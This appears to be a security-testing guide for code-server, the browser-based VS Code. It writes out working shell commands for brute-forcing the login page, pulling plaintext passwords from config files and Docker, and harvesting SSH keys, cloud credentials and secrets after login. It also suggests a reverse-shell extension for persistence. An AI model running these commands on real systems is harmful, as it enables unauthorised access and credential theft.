code-server Security Testing: Default Credentials, API Key, Config, and VS Code in Browser

code-server is a widely deployed tool that runs VS Code in the browser, enabling remote development from any device — it is used by individual developers on cloud VMs and by organizations for standardized remote development environments. Key assessment areas: a single password protects access to a full VS Code environment with an integrated terminal; the config.yaml file stores this password in plaintext; the integrated terminal provides immediate OS-level code execution as the service account; and authentication has no rate limiting by default, enabling password brute-force. This guide covers systematic code-server security assessment.

Table of Contents

  1. Config File Password Extraction and Brute-Force
  2. Terminal RCE and Credential Harvesting Post-Authentication
  3. Unauthenticated Reconnaissance and Exposure
  4. code-server Security Hardening

Config File Password Extraction and Brute-Force

# code-server — config file password extraction and brute-force
CS_URL="https://code.example.com"

# config.yaml — code-server configuration (plaintext password)
cat ~/.config/code-server/config.yaml 2>/dev/null
# bind-addr: 0.0.0.0:8080
# auth: password
# password: your-plaintext-password-here   <-- plaintext in many setups
# hashed-password: ""
# cert: false

# Docker — PASSWORD/HASHED_PASSWORD environment variable
docker inspect code-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PASSWORD', 'HASHED_PASSWORD', 'AUTH', 'CERT']):
            print(e)
" 2>/dev/null

# /healthz — unauthenticated health endpoint (confirms code-server is running)
curl -s "${CS_URL}/healthz" 2>/dev/null
# Returns: {"status":"alive"} — confirms code-server without authentication

# Password brute-force — code-server /login has no rate limiting by default
# Must first get CSRF token
CSRF_TOKEN=$(curl -s -c /tmp/cs_jar "${CS_URL}/login" 2>/dev/null | \
  grep -oP 'name="_csrf"\s+value="\K[^"]+' | head -1)
echo "CSRF token: $CSRF_TOKEN"

for PASS in "password" "code" "developer" "admin" "secret" "1234" "pass123" "vscode" "code123" "dev"; do
  RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
    -b /tmp/cs_jar -c /tmp/cs_jar \
    -X POST "${CS_URL}/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "_csrf=${CSRF_TOKEN}&password=${PASS}" 2>/dev/null)
  echo "${PASS}: HTTP ${RESULT}"
  # 302 to / = success; 200 = failure (login page redisplayed)
  if [ "$RESULT" = "302" ]; then
    echo "  SUCCESS! Password: ${PASS}"
    break
  fi
done

Terminal RCE and Credential Harvesting Post-Authentication

# code-server post-authentication — terminal RCE and credential harvesting
# Once authenticated via browser session cookie:

# code-server terminal = full shell access as the service user
# The following would be executed via the integrated VS Code terminal

# Harvest SSH private keys
ls -la ~/.ssh/ 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null | head -5
cat ~/.ssh/id_ed25519 2>/dev/null | head -5
# Private keys for lateral movement to other servers

# Cloud credential files
cat ~/.aws/credentials 2>/dev/null
# [default]
# aws_access_key_id = AKIA...
# aws_secret_access_key = ...

cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.kube/config 2>/dev/null | grep -E "server|token|certificate" | head -10

# Environment variables — cloud tokens and secrets
env | grep -E "TOKEN|SECRET|KEY|PASSWORD|AWS|GOOGLE|AZURE|GITHUB|GITLAB" 2>/dev/null
# Bearer tokens, API keys, and cloud credentials
# Often set in the shell profile or Docker environment

# Source code and .env files in the workspace
find /home /root /workspace /app /code /srv \
  -name ".env" -o -name ".env.local" -o -name ".env.production" \
  -o -name "credentials.json" -o -name "serviceaccount.json" \
  2>/dev/null | head -20

# Crontab — persistence via scheduled commands
crontab -l 2>/dev/null

# Install a reverse shell via VS Code extension (persistence)
# Extensions are installed per-user, survive container restarts in persistent volumes

Unauthenticated Reconnaissance and Exposure

# code-server — unauthenticated reconnaissance
CS_URL="https://code.example.com"

# /healthz — alive check without authentication
curl -s "${CS_URL}/healthz" 2>/dev/null
# {"status":"alive"}

# /version — version disclosure
curl -s "${CS_URL}/version" 2>/dev/null
# Returns code-server version string for CVE targeting

# Check if code-server is deployed without auth (auth: none in config)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CS_URL}/" 2>/dev/null)
echo "Root path: HTTP $STATUS"
# 200 without redirect = auth: none (no authentication at all!)
# 302/303 to /login = password authentication required

# Detect code-server from browser fingerprinting
curl -s "${CS_URL}/login" 2>/dev/null | \
  grep -i "code.server\|coder\|vs code\|vscode" | head -5

# Check if code-server is behind Nginx with proxy.domain.com auth
# code-server proxy feature creates subdomains for port forwarding
# https://3000--code.example.com/ — proxies port 3000 on the server
# This can expose internal services running on the development machine

# Common code-server deployment scanning
for PORT in 8080 8443 443 8888 9000; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    --max-time 3 "http://TARGET:${PORT}/healthz" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "code-server found on port ${PORT}"
done

code-server Security Hardening

code-server Security Hardening Checklist:
Security TestMethodRisk
config.yaml plaintext password extractionRead ~/.config/code-server/config.yaml password field — plaintext authentication password; immediate full VS Code environment access including integrated terminal RCECritical
auth: none configuration — no authenticationGET / returns 200 without redirect — code-server deployed without any authentication; immediate full access to VS Code environment and terminalCritical
Password brute-force via /login (no rate limiting)POST /login with CSRF token — no default rate limiting; brute-force common passwords; weak developer passwords frequently used (password, code, developer, 1234)High
Post-auth SSH key and cloud credential extractionIntegrated terminal — cat ~/.ssh/id_rsa; cat ~/.aws/credentials; env | grep SECRET; find / -name ".env" — complete credential harvest from development environmentCritical
Port forwarding proxy internal service exposureGET https://3000--code.example.com/ — code-server proxy exposes internal ports on the development server to the internet via subdomain routingHigh

Automate code-server Security Testing

Ironimo tests code-server deployments for config.yaml plaintext password extraction, auth: none unauthenticated access detection, /healthz unauthenticated alive confirmation, password brute-force via /login without rate limiting, Docker PASSWORD and HASHED_PASSWORD environment variable exposure, integrated terminal RCE assessment, SSH private key access via ~/.ssh/, AWS credential file reading, cloud credential environment variable enumeration, port forwarding proxy internal service exposure, and VS Code extension installation for persistence assessment.

Start free scan